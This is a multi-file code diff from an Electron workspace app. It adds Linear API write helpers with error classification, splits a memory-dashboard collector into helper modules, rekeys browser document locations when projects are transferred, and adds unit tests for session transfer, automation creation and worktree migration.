+export type LinearIssueWriteRecord = {
+  id: string
+  identifier: string
+  title: string
+  description?: string | null
+  url: string
+  team: { id: string; key: string; name: string }
+  state: { id: string; name: string } | null
+  parent: { id: string; identifier: string } | null
+  project?: { id: string; name: string } | null
+  assignee?: { id: string; displayName: string } | null
+  priority?: number | null
+  estimate?: number | null
+  dueDate?: string | null
+  labelIds?: string[] | null
+  labels?: { id: string; name: string }[]
+}
+
+export type LinearCommentWriteRecord = {
+  id: string
+  url: string | null
+  body: string
+  issue: { id: string; identifier: string; url: string }
+  parentId: string | null
+  threadRootId: string | null
+}
+
+export type LinearAttachmentWriteRecord = {
+  id: string
+  title: string
+  url: string
+  issue: { id: string; identifier: string; url: string }
+}
+export function linearWriteMessage(error: unknown): string {
+  return error instanceof Error ? error.message : String(error)
+}
+
+function isDuplicateIdError(error: unknown): boolean {
+  const message = linearWriteMessage(error).toLowerCase()
+  return (
+    message.includes('duplicate') ||
+    message.includes('already exists') ||
+    message.includes('already in use') ||
+    message.includes('id has already')
+  )
+}
+
+function errorCauseCode(error: unknown): string {
+  if (!error || typeof error !== 'object') {
+    return ''
+  }
+  const cause = (error as { cause?: unknown }).cause
+  if (!cause || typeof cause !== 'object') {
+    return ''
+  }
+  const code = (cause as { code?: unknown }).code
+  return typeof code === 'string' ? code.toLowerCase() : ''
+}
+
+export function classifyLinearWriteFailure(error: unknown): LinearWriteFailure {
+  if (error instanceof LinearWriteFailure) {
+    return error
+  }
+  if (isDuplicateIdError(error)) {
+    return new LinearWriteFailure('duplicate_id', linearWriteMessage(error), error)
+  }
+  const message = linearWriteMessage(error)
+  const lower = message.toLowerCase()
+  const code = errorCauseCode(error)
+  if (
+    lower.includes('enotfound') ||
+    lower.includes('econnrefused') ||
+    code === 'enotfound' ||
+    code === 'econnrefused'
+  ) {
+    return new LinearWriteFailure('network', message, error)
+  }
+  if (
+    lower.includes('abort') ||
+    lower.includes('timeout') ||
+    lower.includes('timed out') ||
+    lower.includes('network') ||
+    lower.includes('econnreset') ||
+    lower.includes('fetch failed') ||
+    lower.includes('socket')
+  ) {
+    return new LinearWriteFailure('unconfirmed', message, error)
+  }
+  return new LinearWriteFailure('failed', message, error)
+}
+
+export async function runLinearWrite<T>(
+  entry: LinearClientForWorkspace,
+  signal: AbortSignal | undefined,
+  write: (client: LinearClient) => Promise<T>
+): Promise<T> {
+  await acquire()
+  try {
+    const client = signal
+      ? new (loadLinearSdk().LinearClient)({ apiKey: entry.apiKey, signal })
+      : entry.client
+    return await write(client)
+  } catch (error) {
+    if (error instanceof LinearWriteFailure) {
+      throw error
+    }
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      throw error
+    }
+    throw classifyLinearWriteFailure(error)
+  } finally {
+    release()
+  }
+}
+
+export async function runLinearLookup<T>(
+  entry: LinearClientForWorkspace,
+  lookup: () => Promise<T>
+): Promise<T | null> {
+  await acquire()
+  try {
+    return await lookup()
+  } catch (error) {
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      throw error
+    }
+    if (isLinearLookupMiss(error)) {
+      return null
+    }
+    throw error
+  } finally {
+    release()
+  }
+}
+
+export function isLinearLookupMiss(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error)
+  // Why: Linear throws for direct entity lookups that miss; write-id probes
+  // need the same null shape as GraphQL nullable data, not a failed write.
+  return message.includes('Entity not found:') && message.includes('Could not find referenced')
+}
+
+export async function confirmLinearWrite<T>(
+  message: string,
+  readback: () => Promise<T>
+): Promise<T> {
+  try {
+    return await readback()
+  } catch (error) {
+    throw new LinearWriteFailure('unconfirmed', message, error)
+  }
+}
+
+export function mapRawCommentWriteRecord(
+  comment: NonNullable<LinearCommentByUuidResponse['comment']>
+): LinearCommentWriteRecord | null {
+  const issue = comment.issue
+  if (!issue?.id || !issue.identifier || !issue.url) {
+    return null
+  }
+  const parentId = comment.parent?.id ?? null
+  return {
+    id: comment.id,
+    url: comment.url ?? null,
+    body: comment.body ?? '',
+    issue: {
+      id: issue.id,
+      identifier: issue.identifier,
+      url: issue.url
+    },
+    parentId,
+    threadRootId: parentId ?? comment.id
+  }
+}
+
+export function mapRawAttachmentWriteRecord(
+  attachment: NonNullable<LinearAttachmentByUuidResponse['attachment']>
+): LinearAttachmentWriteRecord | null {
+  const issue = attachment.issue
+  if (!issue?.id || !issue.identifier || !issue.url || !attachment.url) {
+    return null
+  }
+  return {
+    id: attachment.id,
+    title: attachment.title ?? attachment.url,
+    url: attachment.url,
+    issue: {
+      id: issue.id,
+      identifier: issue.identifier,
+      url: issue.url
+    }
+  }
+}
+
+export function mapRawIssueWriteRecord(
+  issue: NonNullable<LinearIssueByUuidResponse['issue']>
+): LinearIssueWriteRecord {
+  return {
+    ...issue,
+    labels: issue.labels?.nodes ?? []
+  }
+}
diff --git a/src/main/memory/collector.ts b/src/main/memory/collector.ts
index c0e77513004..ff2089e7eb7 100644
--- a/src/main/memory/collector.ts
+++ b/src/main/memory/collector.ts
@@ -1,6 +1,3 @@
-/* eslint-disable max-lines -- Why: the collector's host-process index,
-   history ring buffer, Electron bucketing, and worktree attribution live
-   together to keep one snapshot's orchestration in one place. */
 /**
  * Memory dashboard collector.
  *
@@ -17,11 +14,9 @@
  * renderer polls never produces overlapping child processes.
  */
 
-import { basename } from 'node:path'
 import { exec } from 'node:child_process'
 import { promisify } from 'node:util'
 import os from 'node:os'
-import { splitWorktreeIdForFilesystem } from '../../shared/worktree/id'
 import {
   getProcessOutputFields,
   iterateProcessOutputLines
@@ -30,7 +25,6 @@ import { getAppEnvironment, type AppEnvironment } from '../../shared/app-environ
 import type {
   AppMemory,
   MemorySnapshot,
-  ProcessCommitMetric,
   SessionMemory,
   UsageValues,
   WorktreeMemory
@@ -39,8 +33,24 @@ import type { Store } from '../persistence'
 import { ORPHAN_WORKTREE_ID } from '../../shared/constants'
 import { listRegisteredPtys } from './pty-registry'
 import { enumerateWindowsProcessResources } from './windows-process-resource-collector'
-import { collectHostMemory, fallbackHostMemory } from './host-memory'
+import { collectHostMemory } from './host-memory'
 import { getProcessMemoryMetric } from './process-memory-metric'
+import {
+  createEmptyWorktreeMemoryBucket,
+  pushAppMemoryHistory,
+  pushMemoryHistorySample,
+  readAppMemoryHistory,
+  readMemoryHistory,
+  resolveWorktreeMemoryNames,
+  sweepStaleMemoryHistory,
+  type WorktreeMemoryBucket
+} from './memory-snapshot-buckets'
+import {
+  clampMemoryMetric,
+  emptyMemorySnapshot,
+  optionalCommitField,
+  snapshotCommitFields
+} from './memory-snapshot-values'
 
 export type MemorySnapshotStore = Pick<Store, 'getRepo' | 'getWorktreeMeta'>
 
@@ -61,7 +71,7 @@ export async function collectMemorySnapshot(store: MemorySnapshotStore): Promise
   inflight = runSnapshot(store)
     .catch((err) => {
       console.warn('[memory] snapshot failed; returning empty', err)
-      return emptySnapshot()
+      return emptyMemorySnapshot()
     })
     .finally(() => {
       inflight = null
@@ -99,88 +109,6 @@ type ProcIndex = {
   hasPrivateMemory: boolean
 }
 
-const PROCESS_COMMIT_METRIC: ProcessCommitMetric = 'private-bytes'
-
-/**
- * The one rule for every committed-bytes key: present only when the sweep could
- * measure it, because a 0 would read as "these processes commit nothing".
- */
-function commitField(hasPrivateMemory: boolean, privateMemory: number): { privateMemory?: number } {
-  return hasPrivateMemory ? { privateMemory: clampNumber(privateMemory) } : {}
-}
-
-/** The snapshot-level pair, which names the unit alongside the total. */
-function snapshotCommitFields(
-  hasPrivateMemory: boolean,
-  totalPrivateMemory: number
-): Pick<MemorySnapshot, 'processCommitMetric' | 'totalPrivateMemory'> {
-  return hasPrivateMemory
-    ? {
-        processCommitMetric: PROCESS_COMMIT_METRIC,
-        totalPrivateMemory: clampNumber(totalPrivateMemory)
-      }
-    : {}
-}
-
-function clampNumber(value: unknown): number {
-  if (typeof value !== 'number' || !Number.isFinite(value)) {
-    return 0
-  }
-  return Math.max(0, value)
-}
-
-function emptySnapshot(): MemorySnapshot {
-  const zero = { cpu: 0, memory: 0 }
-  return {
-    app: { ...zero, main: zero, renderer: zero, other: zero, history: [] },
-    worktrees: [],
-    host: fallbackHostMemory(),
-    processMemoryMetric: getProcessMemoryMetric(),
-    totalCpu: 0,
-    totalMemory: 0,
-    collectedAt: Date.now()
-  }
-}
-
-// ─── History ring buffers ───────────────────────────────────────────
-
-const APP_HISTORY_KEY = '__app__'
-const HISTORY_CAPACITY = 60
-const HISTORY_STALE_MS = 10 * 60 * 1000
-
-type HistoryRing = {
-  samples: number[]
-  touchedAt: number
-}
-
-const historyByKey = new Map<string, HistoryRing>()
-
-function pushHistorySample(key: string, memoryBytes: number, now: number): void {
-  let ring = historyByKey.get(key)
-  if (!ring) {
-    ring = { samples: [], touchedAt: now }
-    historyByKey.set(key, ring)
-  }
-  ring.samples.push(memoryBytes)
-  if (ring.samples.length > HISTORY_CAPACITY) {
-    ring.samples.shift()
-  }
-  ring.touchedAt = now
-}
-
-function readHistory(key: string): number[] {
-  const ring = historyByKey.get(key)
-  return ring ? [...ring.samples] : []
-}
-
-function sweepStaleHistory(now: number): void {
-  for (const [key, ring] of historyByKey) {
-    if (now - ring.touchedAt > HISTORY_STALE_MS) {
-      historyByKey.delete(key)
-    }
-  }
-}
-
 // ─── Host process enumeration ───────────────────────────────────────
 
 async function enumerateProcesses(): Promise<ProcIndex> {
@@ -292,7 +220,7 @@ function electronMetricMemoryBytes(
   // Why: on macOS, getAppEnvironment().getAppMetrics().workingSetSize can include large shared
   // Chromium/Electron mappings. Prefer the host RSS sweep used elsewhere, but
   // keep workingSetSize as a fallback when the process disappears mid-snapshot.
-  return clampNumber(proc.memory?.workingSetSize) * 1024
+  return clampMemoryMetric(proc.memory?.workingSetSize) * 1024
 }
 
 function bucketElectronMetrics(processIndex: ProcIndex): AppBucketsRaw {
@@ -301,11 +229,11 @@ function bucketElectronMetrics(processIndex: ProcIndex): AppBucketsRaw {
   const other = { cpu: 0, memory: 0, privateMemory: 0 }
 
   for (const proc of getAppEnvironment().getAppMetrics()) {
-    const cpu = clampNumber(proc.cpu?.percentCPUUsage)
+    const cpu = clampMemoryMetric(proc.cpu?.percentCPUUsage)
     const memoryBytes = electronMetricMemoryBytes(proc, processIndex)
     // Why the host row rather than Electron's own metric: getAppMetrics has no
     // commit figure for helper processes, and the sweep already indexed them.
-    const privateBytes = clampNumber(processIndex.byPid.get(proc.pid)?.privateMemory)
+    const privateBytes = clampMemoryMetric(processIndex.byPid.get(proc.pid)?.privateMemory)
 
     // Why: lowercase once so future Electron versions emitting different
     // casing ('browser' vs 'Browser') still bucket correctly.
@@ -325,7 +253,7 @@ function bucketElectronMetrics(processIndex: ProcIndex): AppBucketsRaw {
   const usage = (bucket: typeof main): UsageValues => ({
     cpu: bucket.cpu,
     memory: bucket.memory,
-    ...commitField(processIndex.hasPrivateMemory, bucket.privateMemory)
+    ...optionalCommitField(processIndex.hasPrivateMemory, bucket.privateMemory)
   })
 
   return {
@@ -340,61 +268,6 @@ function bucketElectronMetrics(processIndex: ProcIndex): AppBucketsRaw {
   }
 }
 
-// ─── Worktree attribution ───────────────────────────────────────────
-
-type WorktreeBucket = {
-  worktreeId: string
-  worktreeName: string
-  repoId: string
-  repoName: string
-  cpu: number
-  memory: number
-  privateMemory: number
-  sessions: SessionMemory[]
-}
-
-function resolveWorktreeNames(
-  worktreeId: string,
-  store: MemorySnapshotStore
-): {
-  worktreeName: string
-  repoId: string
-  repoName: string
-} {
-  // Orca worktree ids look like `${repoId}::${absolutePath}`.
-  const parsed = splitWorktreeIdForFilesystem(worktreeId)
-  const repoId = parsed?.repoId ?? worktreeId
-  const worktreePath = parsed?.worktreePath ?? ''
-  const fallbackName = worktreePath ? basename(worktreePath) : worktreeId
-
-  const meta = store.getWorktreeMeta(worktreeId)
-  const repo = store.getRepo(repoId)
-
-  return {
-    worktreeName: meta?.displayName?.trim() || fallbackName,
-    repoId,
-    repoName: repo?.displayName?.trim() || repoId || 'Unknown Repo'
-  }
-}
-
-function makeEmptyBucket(
-  worktreeId: string,
-  worktreeName: string,
-  repoId: string,
-  repoName: string
-): WorktreeBucket {
-  return {
-    worktreeId,
-    worktreeName,
-    repoId,
-    repoName,
-    cpu: 0,
-    memory: 0,
-    privateMemory: 0,
-    sessions: []
-  }
-}
-
 // ─── Main collection path ───────────────────────────────────────────
 
 async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot> {
@@ -408,13 +281,13 @@ async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot>
   // attribute to the first PTY (registration order) to see each pid.
   const claimed = new Set<number>()
 
-  const orphan = makeEmptyBucket(
+  const orphan = createEmptyWorktreeMemoryBucket(
     ORPHAN_WORKTREE_ID,
     'Unattributed terminals',
     ORPHAN_WORKTREE_ID,
     'Other'
   )
-  const worktreeBuckets = new Map<string, WorktreeBucket>()
+  const worktreeBuckets = new Map<string, WorktreeMemoryBucket>()
 
   for (const pty of ptys) {
     let sessionCpu = 0
@@ -435,7 +308,7 @@ async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot>
         sessionMemory += row.memory
         // Why the whole subtree: an agent's committed bytes live in the
         // children it spawned (codex.exe, MCP servers), not in the shell.
-        sessionPrivateMemory += clampNumber(row.privateMemory)
+        sessionPrivateMemory += clampMemoryMetric(row.privateMemory)
       }
     }
 
@@ -443,19 +316,24 @@ async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot>
       sessionId: pty.sessionId ?? pty.ptyId,
       paneKey: pty.paneKey,
       pid: pty.pid ?? 0,
-      cpu: clampNumber(sessionCpu),
-      memory: clampNumber(sessionMemory),
-      ...commitField(processIndex.hasPrivateMemory, sessionPrivateMemory)
+      cpu: clampMemoryMetric(sessionCpu),
+      memory: clampMemoryMetric(sessionMemory),
+      ...optionalCommitField(processIndex.hasPrivateMemory, sessionPrivateMemory)
     }
 
-    let bucket: WorktreeBucket
+    let bucket: WorktreeMemoryBucket
     if (pty.worktreeId) {
       const existing = worktreeBuckets.get(pty.worktreeId)
       if (existing) {
         bucket = existing
       } else {
-        const names = resolveWorktreeNames(pty.worktreeId, store)
-        bucket = makeEmptyBucket(pty.worktreeId, names.worktreeName, names.repoId, names.repoName)
+        const names = resolveWorktreeMemoryNames(pty.worktreeId, store)
+        bucket = createEmptyWorktreeMemoryBucket(
+          pty.worktreeId,
+          names.worktreeName,
+          names.repoId,
+          names.repoName
+        )
         worktreeBuckets.set(pty.worktreeId, bucket)
       }
     } else {
@@ -464,11 +342,11 @@ async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot>
 
     bucket.cpu += session.cpu
     bucket.memory += session.memory
-    bucket.privateMemory += clampNumber(session.privateMemory)
+    bucket.privateMemory += clampMemoryMetric(session.privateMemory)
     bucket.sessions.push(session)
   }
 
-  const bucketList: WorktreeBucket[] = [...worktreeBuckets.values()]
+  const bucketList: WorktreeMemoryBucket[] = [...worktreeBuckets.values()]
   if (orphan.sessions.length > 0) {
     bucketList.push(orphan)
   }
@@ -477,16 +355,16 @@ async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot>
   // returned arrays end with the freshly-collected value. Each write also
   // acts as a keep-alive so active worktrees survive the staleness sweep.
   const now = Date.now()
-  pushHistorySample(APP_HISTORY_KEY, appBuckets.memory, now)
+  pushAppMemoryHistory(appBuckets.memory, now)
   for (const bucket of bucketList) {
-    pushHistorySample(bucket.worktreeId, bucket.memory, now)
+    pushMemoryHistorySample(bucket.worktreeId, bucket.memory, now)
   }
-  sweepStaleHistory(now)
+  sweepStaleMemoryHistory(now)
 
   const worktrees: WorktreeMemory[] = bucketList.map(({ privateMemory, ...b }) => ({
     ...b,
-    ...commitField(processIndex.hasPrivateMemory, privateMemory),
-    history: readHistory(b.worktreeId)
+    ...optionalCommitField(processIndex.hasPrivateMemory, privateMemory),
+    history: readMemoryHistory(b.worktreeId)
   }))
 
   let sessionCpuTotal = 0
@@ -495,17 +373,17 @@ async function runSnapshot(store: MemorySnapshotStore): Promise<MemorySnapshot>
   for (const wt of worktrees) {
     sessionCpuTotal += wt.cpu
     sessionMemoryTotal += wt.memory
-    sessionPrivateTotal += clampNumber(wt.privateMemory)
+    sessionPrivateTotal += clampMemoryMetric(wt.privateMemory)
   }
 
   return {
-    app: { ...appBuckets, history: readHistory(APP_HISTORY_KEY) },
+    app: { ...appBuckets, history: readAppMemoryHistory() },
     worktrees,
     host,
     processMemoryMetric: getProcessMemoryMetric(),
     ...snapshotCommitFields(
       processIndex.hasPrivateMemory,
-      clampNumber(appBuckets.privateMemory) + sessionPrivateTotal
+      clampMemoryMetric(appBuckets.privateMemory) + sessionPrivateTotal
     ),
     totalCpu: appBuckets.cpu + sessionCpuTotal,
     totalMemory: appBuckets.memory + sessionMemoryTotal,
diff --git a/src/main/memory/memory-snapshot-buckets.ts b/src/main/memory/memory-snapshot-buckets.ts
new file mode 100644
index 00000000000..f2a45e22190
--- /dev/null
+++ b/src/main/memory/memory-snapshot-buckets.ts
@@ -0,0 +1,101 @@
+import { basename } from 'node:path'
+import { splitWorktreeIdForFilesystem } from '../../shared/worktree/id'
+import type { SessionMemory } from '../../shared/process-stats-types'
+import type { MemorySnapshotStore } from './collector'
+
+const APP_HISTORY_KEY = '__app__'
+const HISTORY_CAPACITY = 60
+const HISTORY_STALE_MS = 10 * 60 * 1000
+
+type HistoryRing = {
+  samples: number[]
+  touchedAt: number
+}
+
+const historyByKey = new Map<string, HistoryRing>()
+
+export function pushMemoryHistorySample(key: string, memoryBytes: number, now: number): void {
+  let ring = historyByKey.get(key)
+  if (!ring) {
+    ring = { samples: [], touchedAt: now }
+    historyByKey.set(key, ring)
+  }
+  ring.samples.push(memoryBytes)
+  if (ring.samples.length > HISTORY_CAPACITY) {
+    ring.samples.shift()
+  }
+  ring.touchedAt = now
+}
+
+export function readMemoryHistory(key: string): number[] {
+  const ring = historyByKey.get(key)
+  return ring ? [...ring.samples] : []
+}
+
+export function sweepStaleMemoryHistory(now: number): void {
+  for (const [key, ring] of historyByKey) {
+    if (now - ring.touchedAt > HISTORY_STALE_MS) {
+      historyByKey.delete(key)
+    }
+  }
+}
+
+export function pushAppMemoryHistory(memoryBytes: number, now: number): void {
+  pushMemoryHistorySample(APP_HISTORY_KEY, memoryBytes, now)
+}
+
+export function readAppMemoryHistory(): number[] {
+  return readMemoryHistory(APP_HISTORY_KEY)
+}
+
+export type WorktreeMemoryBucket = {
+  worktreeId: string
+  worktreeName: string
+  repoId: string
+  repoName: string
+  cpu: number
+  memory: number
+  privateMemory: number
+  sessions: SessionMemory[]
+}
+
+export function resolveWorktreeMemoryNames(
+  worktreeId: string,
+  store: MemorySnapshotStore
+): {
+  worktreeName: string
+  repoId: string
+  repoName: string
+} {
+  // Orca worktree ids look like `${repoId}::${absolutePath}`.
+  const parsed = splitWorktreeIdForFilesystem(worktreeId)
+  const repoId = parsed?.repoId ?? worktreeId
+  const worktreePath = parsed?.worktreePath ?? ''
+  const fallbackName = worktreePath ? basename(worktreePath) : worktreeId
+  const meta = store.getWorktreeMeta(worktreeId)
+  const repo = store.getRepo(repoId)
+
+  return {
+    worktreeName: meta?.displayName?.trim() || fallbackName,
+    repoId,
+    repoName: repo?.displayName?.trim() || repoId || 'Unknown Repo'
+  }
+}
+
+export function createEmptyWorktreeMemoryBucket(
+  worktreeId: string,
+  worktreeName: string,
+  repoId: string,
+  repoName: string
+): WorktreeMemoryBucket {
+  return {
+    worktreeId,
+    worktreeName,
+    repoId,
+    repoName,
+    cpu: 0,
+    memory: 0,
+    privateMemory: 0,
+    sessions: []
+  }
+}
diff --git a/src/main/memory/memory-snapshot-values.ts b/src/main/memory/memory-snapshot-values.ts
new file mode 100644
index 00000000000..4fea737c6f6
--- /dev/null
+++ b/src/main/memory/memory-snapshot-values.ts
@@ -0,0 +1,49 @@
+import type { MemorySnapshot, ProcessCommitMetric } from '../../shared/process-stats-types'
+import { fallbackHostMemory } from './host-memory'
+import { getProcessMemoryMetric } from './process-memory-metric'
+
+const PROCESS_COMMIT_METRIC: ProcessCommitMetric = 'private-bytes'
+
+export function clampMemoryMetric(value: unknown): number {
+  if (typeof value !== 'number' || !Number.isFinite(value)) {
+    return 0
+  }
+  return Math.max(0, value)
+}
+
+/**
+ * The one rule for every committed-bytes key: present only when the sweep could
+ * measure it, because a 0 would read as "these processes commit nothing".
+ */
+export function optionalCommitField(
+  hasPrivateMemory: boolean,
+  privateMemory: number
+): { privateMemory?: number } {
+  return hasPrivateMemory ? { privateMemory: clampMemoryMetric(privateMemory) } : {}
+}
+
+/** The snapshot-level pair, which names the unit alongside the total. */
+export function snapshotCommitFields(
+  hasPrivateMemory: boolean,
+  totalPrivateMemory: number
+): Pick<MemorySnapshot, 'processCommitMetric' | 'totalPrivateMemory'> {
+  return hasPrivateMemory
+    ? {
+        processCommitMetric: PROCESS_COMMIT_METRIC,
+        totalPrivateMemory: clampMemoryMetric(totalPrivateMemory)
+      }
+    : {}
+}
+
+export function emptyMemorySnapshot(): MemorySnapshot {
+  const zero = { cpu: 0, memory: 0 }
+  return {
+    app: { ...zero, main: zero, renderer: zero, other: zero, history: [] },
+    worktrees: [],
+    host: fallbackHostMemory(),
+    processMemoryMetric: getProcessMemoryMetric(),
+    totalCpu: 0,
+    totalMemory: 0,
+    collectedAt: Date.now()
+  }
+}
diff --git a/src/main/orca-profiles/profile-project-session-field-disposition.ts b/src/main/orca-profiles/profile-project-session-field-disposition.ts
index d1f9dffa6c4..994a65af68a 100644
--- a/src/main/orca-profiles/profile-project-session-field-disposition.ts
+++ b/src/main/orca-profiles/profile-project-session-field-disposition.ts
@@ -121,6 +121,13 @@ export const WORKSPACE_SESSION_FIELD_DISPOSITION = {
   terminalSurfaceTombstonesByPaneKey: {
     onRepoRemoval: 'prunedByBespokeRule',
     onTransfer: 'copiedByBespokeRule'
+  },
+  // Residue: keyed by tab id and pruned by neither path, like remoteSessionIdsByTabId. Bounded
+  // anyway -- every write and every pull merge runs it through the TTL and cap in
+  // shared/closed-terminal-tab-tombstones.ts, and a resolved host retires its own entries.
+  closedTerminalTabTombstonesByTabId: {
+    onRepoRemoval: 'notRepoScoped',
+    onTransfer: 'notTransferred'
   }
 } as const satisfies Record<keyof WorkspaceSessionState, SessionFieldDisposition>
 
diff --git a/src/main/orca-profiles/profile-project-session-state.test.ts b/src/main/orca-profiles/profile-project-session-state.test.ts
index c60622ac9ba..1d9a64870c3 100644
--- a/src/main/orca-profiles/profile-project-session-state.test.ts
+++ b/src/main/orca-profiles/profile-project-session-state.test.ts
@@ -1,5 +1,6 @@
 import { describe, expect, it } from 'vitest'
 import { getDefaultWorkspaceSession } from '../../shared/constants'
+import type { WorkspaceSessionState } from '../../shared/workspace-session-state-types'
 import {
   mergeWorkspaceSessions,
   removeRepoFromWorkspaceSession
@@ -84,6 +85,57 @@ describe('profile project session state', () => {
     )
   })
 
+  it('rekeys document-preview ownership during project transfer', () => {
+    const session = {
+      ...getDefaultWorkspaceSession(),
+      browserTabsByWorktree: {
+        [REMOVED_WORKTREE_ID]: [
+          {
+            id: 'browser-1',
+            worktreeId: REMOVED_WORKTREE_ID,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: REMOVED_WORKTREE_ID,
+              filePath: '/removed/docs/report.html'
+            }
+          }
+        ]
+      },
+      browserPagesByWorkspace: {
+        'browser-1': [
+          {
+            id: 'page-1',
+            workspaceId: 'browser-1',
+            worktreeId: REMOVED_WORKTREE_ID,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: REMOVED_WORKTREE_ID,
+              filePath: '/removed/docs/report.html'
+            }
+          }
+        ]
+      }
+    }
+
+    const result = extractSessionForTransfer(
+      session as unknown as WorkspaceSessionState,
+      REMOVED_REPO_ID,
+      'repo-c'
+    )
+    const transferredWorktreeId = 'repo-c::/removed'
+
+    expect(result.browserTabsByWorktree?.[transferredWorktreeId]?.[0]?.docLocation).toEqual({
+      kind: 'workspace-doc',
+      worktreeId: transferredWorktreeId,
+      filePath: '/removed/docs/report.html'
+    })
+    expect(result.browserPagesByWorkspace?.['browser-1']?.[0]?.docLocation).toEqual({
+      kind: 'workspace-doc',
+      worktreeId: transferredWorktreeId,
+      filePath: '/removed/docs/report.html'
+    })
+  })
+
   it('prunes terminal membership authority records with a removed repo', () => {
     const session = {
       ...getDefaultWorkspaceSession(),
diff --git a/src/main/orca-profiles/profile-project-session-transfer.ts b/src/main/orca-profiles/profile-project-session-transfer.ts
index 0cf15a02ef2..44f83680b40 100644
--- a/src/main/orca-profiles/profile-project-session-transfer.ts
+++ b/src/main/orca-profiles/profile-project-session-transfer.ts
@@ -1,6 +1,11 @@
 import { getDefaultWorkspaceSession } from '../../shared/constants'
 import type { ExecutionHostId } from '../../shared/execution-host'
-import type { BrowserPage, BrowserWorkspace } from '../../shared/browser-workspace-types'
+import type {
+  BrowserPage,
+  BrowserPageDocLocation,
+  BrowserWorkspace
+} from '../../shared/browser-workspace-types'
+import { remapBrowserPageDocLocation } from '../../shared/browser-page-doc-location'
 import type { Tab, TabGroup } from '../../shared/tab-types'
 import type { TerminalTab } from '../../shared/terminal-tab-types'
 import type {
@@ -175,6 +180,9 @@ function rekeyBrowserWorkspace(
   return {
     ...structuredClone(workspace),
     worktreeId: rekeyWorktreeId(oldRepoId, newRepoId, workspace.worktreeId),
+    ...(workspace.docLocation
+      ? { docLocation: rekeyBrowserDocLocation(workspace.docLocation, oldRepoId, newRepoId) }
+      : {}),
     // Why: both the session profile and the resolved partition string are
     // source-profile-scoped; carrying either across would point the restored
     // pane at a partition the target profile's allowlist rejects.
@@ -186,10 +194,22 @@ function rekeyBrowserWorkspace(
 function rekeyBrowserPage(page: BrowserPage, oldRepoId: string, newRepoId: string): BrowserPage {
   return {
     ...structuredClone(page),
-    worktreeId: rekeyWorktreeId(oldRepoId, newRepoId, page.worktreeId)
+    worktreeId: rekeyWorktreeId(oldRepoId, newRepoId, page.worktreeId),
+    ...(page.docLocation
+      ? { docLocation: rekeyBrowserDocLocation(page.docLocation, oldRepoId, newRepoId) }
+      : {})
   }
 }
 
+function rekeyBrowserDocLocation(
+  location: BrowserPageDocLocation,
+  oldRepoId: string,
+  newRepoId: string
+): BrowserPageDocLocation {
+  const nextWorktreeId = rekeyWorktreeId(oldRepoId, newRepoId, location.worktreeId)
+  return remapBrowserPageDocLocation(location, location.worktreeId, nextWorktreeId)
+}
+
 function copyBrowserPages(
   pagesByWorkspace: Record<string, BrowserPage[]> | undefined,
   workspaceIds: ReadonlySet<string>,
diff --git a/src/main/persistence-automations.test.ts b/src/main/persistence-automations.test.ts
index 605b7c35296..9db16b7e681 100644
--- a/src/main/persistence-automations.test.ts
+++ b/src/main/persistence-automations.test.ts
@@ -86,6 +86,28 @@ describe('Store', () => {
     expect(persisted.automations[0].baseBranch).toBeNull()
   })
 
+  it('returns the existing automation for a repeated creation key', async () => {
+    const store = await createStore()
+    store.addRepo(makeRepo())
+    const input = {
+      creationKey: 'move-retry-1',
+      name: 'Retry-safe move',
+      prompt: 'Run checks',
+      agentId: 'claude' as const,
+      projectId: 'r1',
+      workspaceMode: 'new_per_run' as const,
+      timezone: 'UTC',
+      rrule: 'FREQ=DAILY;BYHOUR=9;BYMINUTE=0',
+      dtstart: new Date('2026-05-13T00:00:00Z').getTime()
+    }
+
+    const first = store.createAutomation(input)
+    const retry = store.createAutomation({ ...input, name: 'Changed by a retry' })
+
+    expect(retry.id).toBe(first.id)
+    expect(store.listAutomations()).toHaveLength(1)
+  })
+
   it('persists session reuse only for existing-workspace automations', async () => {
     const store = await createStore()
     store.addRepo(makeRepo())
diff --git a/src/main/persistence-cohort-and-identity-migration.test.ts b/src/main/persistence-cohort-and-identity-migration.test.ts
index 9d931a1bbd4..4081672c821 100644
--- a/src/main/persistence-cohort-and-identity-migration.test.ts
+++ b/src/main/persistence-cohort-and-identity-migration.test.ts
@@ -243,10 +243,33 @@ describe('Store.migrateWorktreeIdentity', () => {
       },
       activeFileIdByWorktree: { [OLD]: '/ws/cunner/a.ts' },
       browserTabsByWorktree: {
-        [OLD]: [{ id: 'browser1', worktreeId: OLD, title: 'Browser', url: 'about:blank' }]
+        [OLD]: [
+          {
+            id: 'browser1',
+            worktreeId: OLD,
+            title: 'Browser',
+            url: 'about:blank',
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: OLD,
+              filePath: '/ws/cunner/docs/report.html'
+            }
+          }
+        ]
       },
       browserPagesByWorkspace: {
-        browser1: [{ id: 'page1', workspaceId: 'browser1', worktreeId: OLD }]
+        browser1: [
+          {
+            id: 'page1',
+            workspaceId: 'browser1',
+            worktreeId: OLD,
+            docLocation: {
+              kind: 'workspace-doc',
+              worktreeId: OLD,
+              filePath: '/ws/cunner/docs/report.html'
+            }
+          }
+        ]
       },
       activeBrowserTabIdByWorktree: { [OLD]: 'browser1' },
       activeTabTypeByWorktree: { [OLD]: 'browser' },
@@ -327,6 +350,16 @@ describe('Store.migrateWorktreeIdentity', () => {
     expect(session.browserTabsByWorktree?.[OLD]).toBeUndefined()
     expect(session.browserTabsByWorktree?.[NEW]?.[0]?.worktreeId).toBe(NEW)
     expect(session.browserPagesByWorkspace?.browser1?.[0]?.worktreeId).toBe(NEW)
+    expect(session.browserTabsByWorktree?.[NEW]?.[0]?.docLocation).toEqual({
+      kind: 'workspace-doc',
+      worktreeId: NEW,
+      filePath: '/ws/worktree-creation-spinner/docs/report.html'
+    })
+    expect(session.browserPagesByWorkspace?.browser1?.[0]?.docLocation).toEqual({
+      kind: 'workspace-doc',
+      worktreeId: NEW,
+      filePath: '/ws/worktree-creation-spinner/docs/report.html'
+    })
     expect(session.activeBrowserTabIdByWorktree?.[NEW]).toBe('browser1')
